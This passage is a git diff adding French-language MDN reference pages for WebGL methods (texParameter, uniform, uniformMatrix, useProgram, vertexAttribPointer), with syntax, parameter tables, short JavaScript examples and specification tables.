+   <td>{{SpecName('OpenGL ES 2.0', "glTexImage2D.xml", "glTexImage2D")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL ES 2.0 (similaire).</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.6", "texImage2D")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Définition mise à jour pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glTexImage2D.xhtml", "glTexImage2D")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l’API OpenGL ES 3.0 (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.texImage2D")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bindTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texSubImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.copyTexImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getTexParameter()")}}</li>
+ <li>{{domxref("WEBGL_depth_texture")}}</li>
+ <li>{{domxref("OES_texture_float")}}</li>
+ <li>{{domxref("OES_texture_half_float")}}</li>
+ <li>{{domxref("EXT_sRGB")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/texparameter/index.html b/files/fr/web/api/webglrenderingcontext/texparameter/index.html
new file mode 100644
index 0000000000..221c3fdae9
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/texparameter/index.html
@@ -0,0 +1,179 @@
+---
+title: 'WebGLRenderingContext.texParameter[fi]()'
+slug: Web/API/WebGLRenderingContext/texParameter
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Textures
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/texParameter
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Les méthodes <strong><code>WebGLRenderingContext.texParameter[fi]()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> définissent les paramètres de texture.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.texParameterf(GLenum <var>cible</var>, GLenum <var>nomp</var>, GLfloat <var>param</var>);
+void <var>gl</var>.texParameteri(GLenum <var>cible</var>, GLenum <var>nomp</var>, GLint <var>param</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cible</dt>
+ <dd>Un {{domxref("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles :
+ <ul>
+  <li><code>gl.TEXTURE_2D</code> : une texture bi-dimensionelle.</li>
+  <li><code>gl.TEXTURE_CUBE_MAP</code> : une texte appliquée sur un cube.</li>
+  <li>Lorsqu'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.TEXTURE_3D</code> : une texture tri-dimensionnelle.</li>
+    <li><code>gl.TEXTURE_2D_ARRAY</code> : une texture bi-dimensionnelle en tableau.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Le paramètre <code>nomp</code> est un {{domxref("Glenum")}} indiquant le paramètre de texture à définir. Le paramètre <code>param</code> est un {{domxref("GLfloat")}} ou un {{domxref("GLint")}} indiquant la valeur pour le paramètre <code>nomp</code> indiqué.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>pnom</code></th>
+   <th scope="col">Description</th>
+   <th scope="col"><code>param</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="3">Disponible en WebGL 1</th>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_MAG_FILTER</code></td>
+   <td>Filtre de grossissement de texture</td>
+   <td><code>gl.LINEAR</code> (valeur par défaut), <code>gl.NEAREST</code>.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_MIN_FILTER</code></td>
+   <td>Filtre de réduction de texture</td>
+   <td><code>gl.LINEAR</code>, <code>gl.NEAREST</code>, <code>gl.NEAREST_MIPMAP_NEAREST</code>, <code>gl.LINEAR_MIPMAP_NEAREST</code>, <code>gl.NEAREST_MIPMAP_LINEAR</code> (valeur par défaut), <code>gl.LINEAR_MIPMAP_LINEAR</code>.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_WRAP_S</code></td>
+   <td>Fonction d'emballage pour la coordonnée de texture <code>s</code></td>
+   <td><code>gl.REPEAT</code> (valeur par défaut),<code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_WRAP_T</code></td>
+   <td>Fonction d'emballage pour la coordonnée de texture <code>t</code></td>
+   <td><code>gl.REPEAT</code> (valeur par défaut),<code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Disponible en outre quand l'extension {{domxref("EXT_texture_filter_anisotropic")}} est utilisée</th>
+  </tr>
+  <tr>
+   <td><code>ext.TEXTURE_MAX_ANISOTROPY_EXT</code></td>
+   <td>Anisotropie maximum pour une texture</td>
+   <td>Une valeur {{domxref("GLfloat")}}.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Disponible en outre quand un contexte WebGL 2 est utilisé</th>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_BASE_LEVEL</code></td>
+   <td>Niveau de mipmap de texture</td>
+   <td>Toutes valeurs int.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_COMPARE_FUNC</code></td>
+   <td>Fonction de comparaison de texture</td>
+   <td><code>gl.LEQUAL</code> (valeur par défaut), <code>gl.GEQUAL</code>, <code>gl.LESS</code>, <code>gl.GREATER</code>, <code>gl.EQUAL</code>, <code>gl.NOTEQUAL</code>, <code>gl.ALWAYS</code>, <code>gl.NEVER</code>.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_COMPARE_MODE</code></td>
+   <td>Mode de comparaison de texture</td>
+   <td><code>gl.NONE</code> (valeur défaut), <code>gl.COMPARE_REF_TO_TEXTURE</code>.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_MAX_LEVEL</code></td>
+   <td>Niveau maximum de mipmap de texture en tableau</td>
+   <td>Toutes valeurs int.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_MAX_LOD</code></td>
+   <td>
+    <p>Valeur de niveau-de-détail maximum de texture</p>
+   </td>
+   <td>Toutes valeurs float.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_MIN_LOD</code></td>
+   <td>Valeur de niveau-de-détail minimum de texture</td>
+   <td>Toutes valeurs float.</td>
+  </tr>
+  <tr>
+   <td><code>gl.TEXTURE_WRAP_R</code></td>
+   <td>Fonction d'emballage pour la coordonnée de texture  <code>r</code></td>
+   <td><code>gl.REPEAT</code> (valeur par défaut), <code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.texParameterf(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "texParameter[fi]")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glTexParameter.xml", "glTexParameter")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l’API OpenGL ES 2.0 API (similaire).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.6", "texParameter[fi]")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Définition mise à jour pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glTexParameter.xhtml", "glTexParameter")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l’API OpenGL ES 3.0 API (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request</p>
+
+<p>{{Compat("api.WebGLRenderingContext.texParameterf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getTexParameter()")}}</li>
+ <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/uniform/index.html b/files/fr/web/api/webglrenderingcontext/uniform/index.html
new file mode 100644
index 0000000000..56c97559ed
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/uniform/index.html
@@ -0,0 +1,99 @@
+---
+title: 'WebGLRenderingContext.uniform[1234][fi][v]()'
+slug: Web/API/WebGLRenderingContext/uniform
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/uniform
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Les méthodes <strong><code>WebGLRenderingContext.uniform[1234][fi][v]()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> indiquent les valeurs des variables uniform.</p>
+
+<div class="note">
+<p>Beaucoup des fonctions décrites ici ont des interfaces WebGL 2 étendues, qui peuvent être trouvées en {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.uniform1f(<var>emplacement</var>, <var>v0</var>);
+void <var>gl</var>.uniform1fv(<var>emplacement</var>, <var>valeur</var>);
+void <var>gl</var>.uniform1i(<var>emplacement</var>, <var>v0</var>);
+void <var>gl</var>.uniform1iv(<var>emplacement</var>, <var>valeur</var>);
+
+void <var>gl</var>.uniform2f(<var>emplacement</var>, <var>v0</var>, <var>v1</var>);
+void <var>gl</var>.uniform2fv(<var>emplacement</var>, <var>valeur</var>);
+void <var>gl</var>.uniform2i(<var>emplacement</var>, <var>v0</var>, <var>v1</var>);
+void <var>gl</var>.uniform2iv(<var>emplacement</var>, <var>valeur</var>);
+
+void <var>gl</var>.uniform3f(<var>emplacement</var>, <var>v0</var>, <var>v1</var>, <var>v2</var>);
+void <var>gl</var>.uniform3fv(<var>emplacement</var>, <var>valeur</var>);
+void <var>gl</var>.uniform3i(<var>emplacement</var>, <var>v0</var>, <var>v1</var>, <var>v2</var>);
+void <var>gl</var>.uniform3iv(<var>emplacement</var>, <var>valeur</var>);
+
+void <var>gl</var>.uniform4f(<var>emplacement</var>, <var>v0</var>, <var>v1</var>, <var>v2</var>, <var>v3</var>);
+void <var>gl</var>.uniform4fv(<var>emplacement</var>, <var>valeur</var>);
+void <var>gl</var>.uniform4i(<var>emplacement</var>, <var>v0</var>, <var>v1</var>, <var>v2</var>, <var>v3</var>);
+void <var>gl</var>.uniform4iv(<var>emplacement</var>, <var>valeur</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>emplacement</dt>
+ <dd>Un objet {{domxref("WebGLUniformLocation")}} contenant l'emplacement de l'attribut uniform à modifier.</dd>
+ <dt><code>valeur, v0, v1, v2, v3</code></dt>
+ <dd>La nouvelle valeur à utiliser pour la variable uniform. Types possibles :
+ <ul>
+  <li>Un {{jsxref("Number")}} flottant pour les valeurs flottantes (méthodes avec "f").</li>
+  <li>Une suite de nombres flottants (par exemple, un {{jsxref("Float32Array")}} ou un {{jsxref("Array")}} de nombres) pour les méthodes de vecteurs de flottants (méthodes avec "fv").</li>
+  <li>Un {{jsxref("Number")}} entier pour les valeurs entières (méthodes avec "i").</li>
+  <li>Un {{jsxref("int32Array")}} pour les méthodes de vecteur d'entiers (méthodes avec "iv").</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.uniform1f(u_alpha, 0.8);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "uniform")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.uniform1f")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.uniformMatrix()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.html b/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.html
new file mode 100644
index 0000000000..ec173f0e68
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/uniformmatrix/index.html
@@ -0,0 +1,90 @@
+---
+title: 'WebGLRenderingContext.uniformMatrix[234]fv()'
+slug: Web/API/WebGLRenderingContext/uniformMatrix
+tags:
+  - API
+  - Matrice
+  - Reference
+  - Uniforms
+  - Variables Uniform
+  - WebGL
+  - WebGLAPI
+  - WebGLRenderingContext
+  - matrices
+  - uniformMatrix2fv
+  - uniformMatrix3fv
+  - uniformMatrix4fv
+translation_of: Web/API/WebGLRenderingContext/uniformMatrix
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Les méthodes <strong><code>WebGLRenderingContext.uniformMatrix[234]fv()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> définissent des valeurs matricielles pour les variables uniform.</p>
+
+<p>Les trois versions de cette méthode (<code>uniformMatrix2fv()</code>, <code>uniformMatrix3fv()</code> et <code>unifomMatrix4fv()</code>) prennent comme valeur d'entrée des vecteurs à 2, 3 et 4 composantes, respectivement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>WebGLRenderingContext</em>.uniformMatrix2fv(<em>emplacement</em>, <em>transposer</em>, <em>valeur</em>);
+<em>WebGLRenderingContext</em>.uniformMatrix3fv(<em>emplacement</em>, <em>transposer</em>, <em>valeur</em>);
+<em>WebGLRenderingContext</em>.uniformMatrix4fv(<em>emplacement</em>, <em>transposer</em>, <em>valeur</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>emplacement</code></dt>
+ <dd>Un objet {{domxref("WebGLUniformLocation")}} contenant l'emplacement de l'attribut uniform à modifier. L'emplacement est obtenu en utilisant {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}.</dd>
+ <dt><code>transposer</code></dt>
+ <dd>Un {{domxref("GLboolean")}} indiquant si la matrice doit être transposée. Doit être <code>false</code>.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>
+ <p>Un {{jsxref("Float32Array")}} ou une suite de valeurs <code>GLfloat</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.uniformMatrix2fv(loc, false, [2.1, 2.2]);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "uniformMatrix")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.uniformMatrix2fv")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.uniform()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.uniformMatrix()")}} – versions WebGL 2 de ces méthodes.</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/useprogram/index.html b/files/fr/web/api/webglrenderingcontext/useprogram/index.html
new file mode 100644
index 0000000000..fe6f54a90c
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/useprogram/index.html
@@ -0,0 +1,82 @@
+---
+title: WebGLRenderingContext.useProgram()
+slug: Web/API/WebGLRenderingContext/useProgram
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/useProgram
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.useProgram()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> définit le {{domxref("WebGLProgram")}} spécifié comme faisant partie de l'état de rendu en cours.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.useProgram(<var>programme</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>programme</dt>
+ <dd>Un {{domxref("WebGLProgram")}} à utiliser.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var programme = gl.createProgram();
+
+// Attacher les shaders pré-existants
+gl.attachShader(programme, vertexShader);
+gl.attachShader(programme, fragmentShader);
+
+gl.linkProgram(programme);
+gl.useProgram(programme);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "useProgram")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glUseProgram.xml", "glUseProgram")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibilité_des_navigateurs">Browser compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.useProgram")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.html b/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.html
new file mode 100644
index 0000000000..e163e5bd32
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/vertexattribpointer/index.html
@@ -0,0 +1,256 @@
+---
+title: WebGLRenderingContext.vertexAttribPointer()
+slug: Web/API/WebGLRenderingContext/vertexAttribPointer
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/vertexAttribPointer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p class="summary">La méthode <strong><code>WebGLRenderingContext.vertexAttribPointer()</code> </strong>de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> spécifie la disposition en mémoire de l'objet de tampon vertex. Elle doit être appelée une fois pour chaque attribut de sommet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <em>gl</em>.vertexAttribPointer(<em>indice</em>, <em>taille</em>, <em>type</em>, <em>normalise</em>, <em>pas</em>, <em>decalage</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>indice</code></dt>
+ <dd>Un {{domxref("GLuint")}} indiquant l'indice de l'attribut de sommet à modifier.</dd>
+ <dt><code>taille</code></dt>
+ <dd>Un {{domxref("GLint")}} indiquant le nombre de composantes par attribut de sommet. Doit être 1, 2, 3 ou 4.</dd>
+ <dt><code>type</code></dt>
+ <dd>Un {{domxref ("GLenum")}} spécifiant le type de données de chaque composante dans le tableau. Valeurs possibles :
+ <ul>
+  <li><code>gl.BYTE</code> : entier signé sur 8 bits, à valeurs dans [-128, 127]</li>
+  <li><code>gl.SHORT</code> : entier signé sur 16 bits, à valeurs dans [-32768, 32767]</li>
+  <li><code>gl.UNSIGNED_BYTE</code> : entier non signé sur 8 bits, à valeurs dans [0, 255]</li>
+  <li><code>gl.UNSIGNED_SHORT</code> : entier non signé sur 16 bits, à valeurs dans [0, 65535]</li>
+  <li><code>gl.FLOAT</code> : nombre flottant IEEE 32 bits</li>
+  <li>lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL context 2", "", 1)}}, la valeur suivante est en outre disponible :
+   <ul>
+    <li><code>gl.HALF_FLOAT</code> : nombre flottant IEEE 16 bits</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt><code>normalise</code></dt>
+ <dd>Un {{domxref("GLboolean")}} indiquant si les valeurs des données entières doivent être normalisées dans une certaine plage lorsqu'elles sont converties en flottant.
+ <ul>
+  <li>Pour les types <code>gl.BYTE</code> et <code>gl.SHORT</code>, normalise les valeurs à [-1, 1] si <code>true</code>.</li>
+  <li>Pour les types <code>gl.UNSIGNED_BYTE</code> et <code>gl.UNSIGNED_SHORT</code>, normalise les valeurs à [0, 1] si <code>true</code>.</li>
+  <li>Pour les types <code>gl.FLOAT</code> et <code>gl.HALF_FLOAT</code>, ce paramètre est sans effet.</li>
+ </ul>
+ </dd>
+ <dt><code>pas</code></dt>
+ <dd>Un {{domxref ("GLsizei")}} spécifiant le décalage en octets entre le début des attributs de sommets consécutifs. Ne peut être supérieur à 255. Si la valeur de <code>pas</code> est 0, l'attribut est supposé être étroitement compacté, c'est-à-dire que les attributs ne sont pas entrelacés mais que chaque attribut se trouve dans un bloc distinct et que l'attribut du sommet suivant suit immédiatement le sommet en cours.</dd>
+ <dt><code>decalage</code></dt>
+ <dd>Un {{domxref ("GLintptr")}} spécifiant le décalage en octets de la première composante dans le tableau d'attributs de sommets. Doit être un multiple de <code>type</code>.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Une erreur <code>gl.INVALID_VALUE</code> est déclenchée si <code>decalage</code> est négatif.</li>
+ <li>Une erreur <code>gl.INVALID_OPERATION</code> est déclenchée si  <code>pas</code> et <code>decalage</code> ne sont pas des multiples de la taille du type de données.</li>
+ <li>Une erreur  <code>gl.INVALID_OPERATION</code> est déclenchée si aucun WebGLBuffer n'est lié à la cible ARRAY_BUFFER.</li>
+ <li>Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, une erreur  <code>gl.INVALID_OPERATION</code> est déclenchée si l'attribut du sommet est défini comme entier dans le shader de sommet (par ex., <code>uvec4</code> or <code>ivec4</code>, iau lieu de <code>vec4</code>).</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>Supposons que nous voulions afficher une géométrie 3D, et que pour cela, nous ayons besoin de fournir nos sommets au Shader de Sommet. Chaque sommet a un certain nombre d'attributs, tels que la position, le vecteur normal ou les coordonnées de texture, qui sont définis dans un {{jsxref("ArrayBuffer")}} et qui seront fournis à l'Objet de Tampon de Sommets (OTS). Grâce à cette méthode <code>gl.vertexAttribPointer()</code>, nous spécifions dans quel ordre les attributs sont stockés, et quel est leur type de données. De plus, nous devons inclure le pas, qui est la longueur totale en octets de tous les attributs pour un sommet. Également, nous devons appeler {{domxref("WebGLRenderingContext/enableVertexAttribArray", "gl.enableVertexAttribArray()")}} pour indiquer à WebGL que cet attribut doit être rempli avec les données de notre tampon de tableaux.</p>
+
+<p>Habituellement, votre géométrie 3D se trouve déjà dans un certain format binaire, de sorte que vous devez lire la spécification de ce format particulier pour comprendre la disposition en mémoire. Cependant, si vous concevez le format vous-même, ou si votre géométrie se trouve dans des fichiers texte (comme les fichiers Wavefront .obj) et doit être convertie en <code>ArrayBuffer</code> à l'exécution, vous êtes libre de choisir comment structurer la mémoire. Pour des performances optimales, entrelacez les attributs et utilisez le plus petit type de données représentant néanmoins fidèlement votre géométrie.</p>
+
+<p>Le nombre maximum d'attributs de vertex dépend de la carte graphique, et vous pouvez appeler <code>gl.getParameter(gl.MAX_VERTEX_ATTRIBS)</code> pour obtenir cette valeur. Sur les cartes graphiques haut de gamme, le maximum est de 16, sur les cartes graphiques de bas de gamme, la valeur sera inférieure.</p>
+
+<h3 id="Indice_d'attribut">Indice d'attribut</h3>
+
+<p>Pour chaque attribut, vous devez spécifier son indice. Cela est indépendant de l'emplacement à l'intérieur de la mémoire tampon de tableaux, de sorte que vos attributs peuvent être envoyés dans un ordre différent de celui dans lequel ils sont stockés dans le tampon de tableaux. Vous avez deux options :</p>
+
+<ul>
+ <li>Soit vous spécifiez l'index vous-même. Dans ce cas, vous appelerez {{domxref("WebGLRenderingContext.bindAttribLocation()", "gl.bindAttribLocation()")}} pour connecter un attribut nommé du shader de sommet à l'index que vous voulez utiliser. Cela doit être fait avant d'appeler {{domxref("WebGLRenderingContext.linkProgram()", "gl.linkProgram()")}}. Vous pouvez alors fournir ce même index à <code>gl.vertexAttribPointer()</code>.</li>
+ <li>En variante, vous pouvez utiliser l'index affecté par la carte graphique lors de la compilation du shader de sommet. Suivant la carte graphique, l'index varie, aussi devrez-vous appeler {{domxref("WebGLRenderingContext.getAttribLocation()", "gl.getAttribLocation()")}} pour trouver l'index, puis le fournir à <code>gl.vertexAttribPointer()</code>.<br>
+  Si vous utilisez WebGL 2, vous pouvez spécifier l'index vous-même dans le code du shader de sommet et remplacer la valeur par défaut utilisée par la carte graphique, par ex. <code>layout(location = 3) in vec4 position;</code> définirait l'attribut <code>"position"</code> à l'indice 3.</li>
+</ul>
+
+<h3 id="Attributs_entiers">Attributs entiers</h3>
+
